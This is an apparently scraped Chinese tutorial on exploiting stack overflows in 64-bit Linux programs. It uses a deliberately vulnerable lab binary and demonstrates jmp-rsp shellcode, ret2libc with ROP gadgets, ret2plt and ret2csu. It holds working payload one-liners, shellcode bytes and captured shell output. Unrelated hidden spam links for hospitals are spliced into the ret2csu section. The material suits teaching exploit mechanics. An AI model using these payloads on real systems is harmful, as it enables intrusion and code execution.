Linux64位程序中的漏洞利用
基础知识
寄存器
我们所说的32位和64位, 其实就是寄存器的大小. 对于32位寄存器大小为32/8=4字节,
那64位自然是64/8=8字节了. 寄存器的大小对程序的直接影响就是地址空间,
因为CPU获取数据/地址还是要通过寄存器来传递, 32位程序地址空间最多也只有
2^32-1=4GB(不考虑内核空间), 64位则将地址空间提高了几十亿倍, 充分利用了
机器的内存.
x86
对于x86架构的CPU, 通常会用到的寄存器有下列这些:
(gdb) info registers
eax 0xf7fa6dbc -134582852
ecx 0x5cb15f85 1555128197
edx 0xffffc834 -14284
ebx 0x0 0
esp 0xffffc808 0xffffc808
ebp 0xffffc808 0xffffc808
esi 0x1 1
edi 0xf7fa5000 -134590464
eip 0x56555563 0x56555563 <main+3>
eflags 0x292 [ AF SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
这些寄存器可以分为四类:
通用寄存器:
EAX EBX ECX EDX
索引和指针:
ESI EDI EBP ESP EIP
段寄存器:
CS SS DS ES FS GS
指示器:
EFLAGS
其中EAX~EDX四个通用寄存器支持部分引用, 如EAX低16位可通过AX来引用,
AL的高8位和低8位又可以分别通过AH和AL来引用.
有的文档将ESI,EDI也称为通用寄存器, 因为他们也是程序可*读写的,
不过他们不支持部分引用. EBP/ESP分别称为栈基指针和栈指针, 分别指向
当前栈帧的栈底和栈顶. EIP为PC指针, 指向将要执行的下一条指令.
段寄存器(Segment registers)保存了不同目标的段地址, 只有16种取值,
只能被通用寄存器或者特殊指令设置.
段寄存器 | 作用 |
---|---|
CS | Code Segment |
SS | Stack Segment |
DS | Data Segment |
ES,FS,GS | 主要用作远指针寻址 |
指示器EFLAGS保存了指令运行的一些状态(flag), 比如进位,符号等, Intel文档定义如下:
Bit | Label | Desciption |
---|---|---|
0 | CF | Carry flag |
2 | PF | Parity flag |
4 | AF | Auxiliary carry flag |
6 | ZF | Zero flag |
7 | SF | Sign flag |
8 | TF | Trap flag |
9 | IF | Interrupt enable flag |
10 | DF | Direction flag |
11 | OF | Overflow flag |
12-13 | IOPL | I/O Priviledge level |
14 | NT | Nested task flag |
16 | RF | Resume flag |
17 | VM | Virtual 8086 mode flag |
18 | AC | Alignment check flag (486+) |
19 | VIF | Virutal interrupt flag |
20 | VIP | Virtual interrupt pending flag |
21 | ID | ID flag |
这个32位寄存器中上面没提到的位是由Intel保留的.
x86-64
x86-64架构下的寄存器种类和32位差不多:
(gdb) info registers
rax 0x555555554660 93824992233056
rbx 0x0 0
rcx 0x0 0
rdx 0x7fffffffd708 140737488344840
rsi 0x7fffffffd6f8 140737488344824
rdi 0x1 1
rbp 0x7fffffffd610 0x7fffffffd610
rsp 0x7fffffffd610 0x7fffffffd610
r8 0x5555555546e0 93824992233184
r9 0x7ffff7de8cb0 140737351945392
r10 0x8 8
r11 0x1 1
r12 0x555555554530 93824992232752
r13 0x7fffffffd6f0 140737488344816
r14 0x0 0
r15 0x0 0
rip 0x555555554664 0x555555554664 <main+4>
eflags 0x246 [ PF ZF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
只不过寄存器大小从32位变成了64位, 而且增加了8个通用寄存器(r8~r15).
和x86一样, rax~rdx这四个通用寄存器也支持部分寻址:
0x1122334455667788
================ RAX (64位)
======== EAX (低32位)
==== AX (低16位)
== AH (高8位)
== AL (低8位)
调用约定
32位和64位程序的区别, 更多的是体现在调用约定(Calling Convention)上.
因为64位程序有了更多的通用寄存器, 所以通常会使用寄存器来进行函数参数传递
而不是通过栈, 来获得更高的运行速度.
本文主要是介绍Linux平台下的漏洞利用, 所以就专注于System V AMD64 ABI
的调用约定, 即函数参数从左到右依次用寄存器RDI,RSI,RDX,RCX,R8,R9来进行传递,
如果参数个数多于6个, 再通过栈来进行传递.
$ cat victim.c
int foo(int a, int b, int c, int d, int e, int f, int g, int h) {
return a + b + c + d + e + f + g + h;
}
int main() {
foo(1, 2, 3, 4, 5, 6, 7, 8);
return 0;
}
$ gcc victim.c -o victim
$ objdump -d victim | grep "<main>:" -A 11
00000000000006a0 <main>:
6a0: 55 push rbp
6a1: 48 89 e5 mov rbp,rsp
6a4: 6a 08 push 0x8
6a6: 6a 07 push 0x7
6a8: 41 b9 06 00 00 00 mov r9d,0x6
6ae: 41 b8 05 00 00 00 mov r8d,0x5
6b4: b9 04 00 00 00 mov ecx,0x4
6b9: ba 03 00 00 00 mov edx,0x3
6be: be 02 00 00 00 mov esi,0x2
6c3: bf 01 00 00 00 mov edi,0x1
6c8: e8 93 ff ff ff call 660 <foo>
漏洞利用
回忆一下之前在栈溢出漏洞的利用和缓解中介绍的漏洞利用流程,
我们的目的是通过溢出等内存破坏的漏洞来执行任意的代码, 为实现这个目的,
就要按照调用约定来对内存进行精确布局, 然后执行恶意跳转.
在32位的环境下, 因为函数参数都是通过栈传递, 而我们有能溢出栈
进行任意写, 所以利用起来很直接, 到了64位环境中就需要做点改变了.
在本文接下来的介绍中, 都以下面的程序为目标来说明64位环境中如何
正确地利用漏洞, 以及如何绕过常见的漏洞缓解措施.
// victim.c
# include <stdio.h>
int foo() {
char buf[10];
scanf("%s", buf);
printf("hello %s\n", buf);
return 0;
}
int main() {
foo();
printf("good bye!\n");
return 0;
}
void dummy()
{
__asm__("nop; jmp rsp");
}
同样的, 我们先从最宽松的环境开始.
基本利用
与x86的栈溢出漏洞类似, 我们可以先用debruijn序列来获得溢出点:
$ gcc victim.c -o victim -g -masm=intel -fno-stack-protector -z execstack -no-pie -fno-pic
$ ragg2 -P 80 -r > victim.rr2
$ gdb victim
(gdb) run < victim.rr2
Starting program: /home/pan/stack_overflow_demo/x64/victim < victim.rr2
hello AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaA
Program received signal SIGSEGV, Segmentation fault.
0x00000000004005f0 in foo () at victim.c:8
8 }
(gdb) p $rip
$1 = (void (*)()) 0x4005f0 <foo+58>
(gdb) b 6
Breakpoint 1 at 0x4005d4: file victim.c, line 6.
(gdb) run < victim.rr2
(gdb) x/xg $rbp+8
0x7fffffffd608: 0x4149414148414147
不过, 和x86不同的是, 这里在出现段错误时, rip指针并没有被我们的序列覆盖到.
这是因为x86在传递地址时不会进行"验证". 而x64则会对根据寻址标准对地址进行检查,
规则是48~63位必须和47位相同(从0开始), 否则处理器将会产生异常.
这规则听起来有点怪, 不过考虑到用户空间最多只有0x00007FFFFFFFFFF
,
所以对正常程序而言是有保护作用的, 详情可以参考这里.
好吧, 那么该如何获得覆盖的rip值? 其实也很简单, 只要在溢出后打上断点,
并查看$rbp+8就是我们将要覆盖的rip值了. 如上为0x4149414148414147
,
转换为(小端)ASCII为GAAHAAIA
, 在debruijn序列的第19位, 验证如下:
$ gdb ./victim
(gdb) run < <(python -c "print 'A'*18 + 'B'*4")
hello AAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
0x0000000042424242 in ?? ()
(gdb) p $rip
$1 = (void (*)()) 0x42424242
确实是BBBB覆盖了返回的指针. 所以栈的布局和32位下应该是类似的. 利用跳转jmp rsp
和32位没有太大区别, 假设我们目标是通过system("/bin/sh")
来获取shell.
先分别获得libc的基地址, system函数的偏移以及字符串的偏移:
$ LD_TRACE_LOADED_OBJECTS=1 ./victim
linux-vdso.so.1 (0x00007ffff7ffa000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7a3a000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd9000)
$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep [email protected]
583: 000000000003f450 45 FUNC GLOBAL DEFAULT 13 [email protected]@GLIBC_PRIVATE
1353: 000000000003f450 45 FUNC WEAK DEFAULT 13 [email protected]@GLIBC_2.2.5
$ rafind2 -z -s /bin/sh /lib/x86_64-linux-gnu/libc.so.6
0x1619f9
所以:
- libc加载基地址为0x00007ffff7a3a000
- system()地址为0x00007ffff7a3a000+0x3f450=0x7ffff7a79450
- "/bin/sh"的地址为0x00007ffff7a3a000+0x1619f9=0x7ffff7b9b9f9
上一节说了x64下调用约定是通过寄存器来传递函数的参数, 其中第一个参数为rdi,
因此需要构造的payload应该如下:
;shellcode.asm
mov rdi, 0x7ffff7b9b9f9;
mov rdx, 0x7ffff7a79450;
call rdx;
在宽松的环境下, 栈是可执行的, 所以我们用jmp rsp
来跳转到shellcode中:
$ rasm2 "jmp rsp"
ffe4
$ objdump -d victim | grep "ff e4"
400615: ff e4 jmp rsp
$ rasm2 -a x86 -b 64 -f shellcode.asm -C
"\x48\xbf\xf9\xb9\xb9\xf7\xff\x7f\x00\x00\x48\xba\x50\x94\xa7\xf7\xff\x7f\x00\x00\xff\xd2"
返回地址应覆盖为0x400615, 所以完整的payload验证如下(记得加上NOP sled):
$ (python -c 'print "A"*18 + "\x15\x06\x40\x00" + "\x00"*4 + "\x90"*20 + "\x48\xbf\xf9\xb9\xb9\xf7\xff\x7f\x00\x00\x48\xba\x50\x94\xa7\xf7\xff\x7f\x00\x00\xff\xd2"' && cat) | ./victim
hello [email protected]
whoami
pan
id
uid=1000(pan) gid=1000(pan) groups=1000(pan),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(scanner),117(lpadmin),121(wireshark),999(docker)
成功获得shell. 这是最原始的通过jmp rsp
+NOP sled
劫持运行流程的方式,
和32位情况下没有太大区别.
ret2libc
return-to-libc和32位情况下的区别是函数参数需要保存在rdi寄存器中.
然而我们只能覆盖栈的地址, 所以这时候需要借助ROP方法来控制流程,
先跳转到程序中的pop rdi; ret
片段(gadget), 再跳转到[email protected]中.
$ rasm2 "pop rdi; ret"
5fc3
$ rafind2 -x 5fc3 -X victim
0x683
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x00000683 5fc3 9066 2e0f 1f84 0000 0000 00f3 c300 _..f............
0x00000693 0048 83ec 0848 83c4 08c3 0000 0001 0002 .H...H..........
0x000006a3 0025 7300 6865 6c6c 6f20 2573 0a00 676f .%s.hello %s..go
0x000006b3 6f64 2062 7965 2100 0001 1b03 3b40 0000 od bye!.....;@..
0x000006c3 0007 0000 00c4 fdff ff8c 0000 0004 ..............
关键是要找到合适的gadget, 在victim里找到了这俩字节, 就算不幸没找到也没关系,
我们还可以从libc.so里去找, 这个会在后面细说.
值得一提的是32位程序加载地址为0x08048000, 而64位程序加载地址为0x00400000.
所以跳转的返回地址应该是0x00400000+0x683=0x400683, ROP链如下:
栈顶(低地址) <-------- 栈底(高地址)
...[18字节][0x400683]["/bin/sh"地址][[email protected]][system返回(可选)]
和之前一样, "/bin/sh"和system()的地址和之前一样, 验证:
$ (python -c 'print "A"*18 + "\x83\x06\x40\x00\x00\x00\x00\x00" + "\xf9\xb9\xb9\xf7\xff\x7f\x00\x00" + "\x50\x94\xa7\xf7\xff\x7f\x00\x00"' && cat) | ./victim
hello AAAAAAAAAAAAAAAAAA�@
whoami
pan
id
uid=1000(pan) gid=1000(pan) groups=1000(pan),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(scanner),117(lpadmin),121(wireshark),999(docker)
成功返回到了libc中执行system("/bin/sh")
ret2plt
上面用ret2libc虽然成功绕过了NX并执行命令, 但其实也不稳定. 因为我们是假定知道
了libc的加载地址(即禁用ASLR). 不过, 在上一篇深入了解GOT,PLT和动态链接
中我们说了, ASLR虽然随机化了部分虚拟地址空间, 不过PLT却不在此列, 其地址依然
是和可执行文件的加载地址相对固定的. 如果可执行文件不是PIE(位置无关可执行文件),
那么ELF的加载地址也是固定的. 这就使得我们可以通过跳转到PLT来绕过ASLR执行任意
命令.
利用过程和上面ret2libc类似, 只不过要将[email protected]
的地址改为[email protected]
.
哈, 当然, 前提是我们的程序里有[email protected]
$ gdb victim_nx
(gdb) info functions
All defined functions:
File victim.c:
void dummy();
int foo();
int main();
Non-debugging symbols:
0x0000000000400460 _init
0x0000000000400490 [email protected]
0x00000000004004a0 [email protected]
0x00000000004004b0 [email protected]
0x00000000004004c0 _start
0x00000000004004f0 deregister_tm_clones
0x0000000000400530 register_tm_clones
0x0000000000400570 __do_global_dtors_aux
0x0000000000400590 frame_dummy
0x0000000000400620 __libc_csu_init
0x0000000000400690 __libc_csu_fini
0x0000000000400694 _fini
可惜我们的程序并没有出现system的引用, 所以就不具体演示了, 因为无非是将ret2libc
改一个地址而已.
如果在实际程序中也这么不巧遇到这种情况怎么办? 这就要用到下面的方法了.
找啊找啊找libc
虽然libc.so是PIC位置无关的, 但其中每个符号的相对地址是确定的,
只要知道其中一个, 就能知道libc加载基地址和所有其他符号的位置了.
因此不论是要找函数(如system), 数据(如"/bin/bash")还是复杂的ROP gadget,
关键都是要找libc, 一旦找到libc的基地址, 这场exploit游戏也就宣告结束了.
.got.plt
在深入了解GOT,PLT和动态链接中我们知道, 每个函数的PLT中只包含几行代码,
作用是设置参数并跳转到GOT, 而对应GOT在解析前包含了对应PLT的下一条指令.
PLT的下一条指令则动态解析符号并填充对应的GOT, 称为延时加载.
所以, GOT中有libc某些函数的真正地址, 我们可以利用它来获取libc的位置.
这种方法也叫GOT dereference
, 和GOT覆盖类似, 只不过并没有真正覆盖.
在32位情况下和64位情况下利用方式大同小异, 可以参考x86漏洞利用中的ASLR
部分, 这里就不赘述了.
offset2lib
offset2lib是在2014年提出来的一种在x64下绕过ASLR的方法, 主要利用的是Linux
实现ASLR的设计缺陷, 在程序启用PIE时会导致加载地址空间(区域)和动态库相同,
从而导致ASLR熵减少. 不过这个缺陷已经在2015年修复了, 所以不展开介绍,
感兴趣的同学可以看原文:Offset2lib: bypassing full ASLR on 64bit Linux.
虽然漏洞已经修复, 但其想法还是很值得学习的.
ret2csu
return-to-csu, 是2018 BlackHat Asia上分享的一种绕过ASLR的新姿势.
对于客户端程序, 我们用程序中的puts/printf可以比较简单地打印(泄漏)出libc的地址,
只需要传入合适的参数. 在文章最开始的部分我们说了, x64下调用约定是用寄存器
rdi,rsi,rdx...来传参, 所以关键是怎么把可控部分(栈)的值传给寄存器.
ROP是个好办法, 可仅考虑可执行文件的话, 不一定能找到合适的gadget.
对于一些网络程序, 我们可能要用write或者send函数来泄露libc, 这就需要3个或者
更多的参数. 可惜使用常见的自动化rop工具在小型程序中难以找到合适的gadget.
于是作者(Hector&Ismael)通过人眼审计可执行文件中的通用代码部分, 发现了两处
有趣的片段, 可以让我们控制edi,rsi和rdx, 并跳转到任意地址. 而这两处片段都在__libc_csu_init
中, 所以该方法称为return-to-csu:
$ objdump -d ./victim_nx | grep "<__libc_csu_init>:" -A35
0000000000400620 <__libc_csu_init>:
400620: 41 57 push r15
400622: 41 56 push r14
400624: 41 89 ff mov r15d,edi
400627: 41 55 push r13
400629: 41 54 push r12
40062b: 4c 8d 25 d6 07 20 00 lea r12,[rip+0x2007d6] # 600e08 <__frame_dummy_init_array_entry>
400632: 55 push rbp
400633: 48 8d 2d d6 07 20 00 lea rbp,[rip+0x2007d6] # 600e10 <__init_array_end>
40063a: 53 push rbx
40063b: 49 89 f6 mov r14,rsi
40063e: 49 89 d5 mov r13,rdx
400641: 4c 29 e5 sub rbp,r12
400644: 48 83 ec 08 sub rsp,0x8
400648: 48 c1 fd 03 sar rbp,0x3
40064c: e8 0f fe ff ff call 400460 <_init>
400651: 48 85 ed test rbp,rbp
400654: 74 20 je 400676 <__libc_csu_init+0x56>
400656: 31 db xor ebx,ebx
400658: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0]
40065f: 00
/400660: 4c 89 ea mov rdx,r13
2| 400663: 4c 89 f6 mov rsi,r14
| 400666: 44 89 ff mov edi,r15d
\400669: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
40066d: 48 83 c3 01 add rbx,0x1
400671: 48 39 dd cmp rbp,rbx
400674: 75 ea jne 400660 <__libc_csu_init+0x40>
400676: 48 83 c4 08 add rsp,0x8
/40067a: 5b pop rbx
| 40067b: 5d pop rbp
| 40067c: 41 5c pop r12
1| 40067e: 41 5d pop r13
| 400680: 41 5e pop r14
| 400682: 41 5f pop r15
\400684: c3 ret
以下代码与本文无关,请自行跳过
<P><A href="http://www.tongjink.com/"><FONT color=#ffffff>郑州治疗妇科费用</FONT>
<P><A href="http://www.zzchanghong110.com/"><FONT color=#ffffff>郑州做包皮手术哪家医院便宜</FONT>
<P><A href="http://www.tjyy120.com/"><FONT color=#ffffff>郑州专业妇科医院</FONT>
<P><A href="http://www.zztj120.com/"><FONT color=#ffffff>郑州专业妇科</FONT>
如上图标注的片段1和片段2, 联合起来就可以实现控制rdx,rsi和edi, 虽然第一个参数
rdi只能写低32位, 不过一般write/send第一个参数都是文件描述符, 所以也足够了.
关键是__libc_csu_init
这一段代码是所有GNU/cc编译链都会添加带可执行文件中的,
这意味着对于大多数Linux x64下的程序栈溢出漏洞都可以用该方式绕过ASLR执行程序.
对于该方法的介绍可以查看原文.
后记
x86和x86-64之间的漏洞利用思路大体相同, 只不过要注意payload的具体布局.
二进制漏洞本身没有什么"一招鲜"的利用方法, 也许暂时某个方法很通用,
但可能某次内核/工具链更新之后就失效了. 关键还是要理解堆栈布局和平台的调用约定,
学习别人的一些利用思路, 比如ROP等. 这样就能针对不同的应用程序和不同的运行环境
快速发现最合适的利用方式.
上一篇: 橙色可给老人调节情绪,,推荐橙色养生法
下一篇: sqluldr2 linux64
推荐阅读
-
如何对PHP程序中的常见漏洞进行攻击
-
如何对PHP程序中的常见漏洞进行攻击(上)
-
如何对PHP程序中的常见漏洞进行攻击(下)
-
如何对PHP程序中的常见漏洞进行攻击(上)第1/2页
-
【iOS】利用runtime处理程序中的常见崩溃
-
C#中利用断点操作调试程序的步骤详解
-
5位评委对参赛选手进行打分,将所有的打分结果存储到对应类型的数组中, 将所有的评分结果去除一个最低分,去除一个最高分,然后获取的平均分数为 选手的最终得分.设计程序,用键盘输入5位评委的评分,并打印输
-
在python平台上利用pymol来查找PDB文件中蛋白质的相互作用位点
-
利用Request对象的包解析漏洞绕过防注入程序
-
利用x64_dbg破解一个最简单的64位小程序图文教程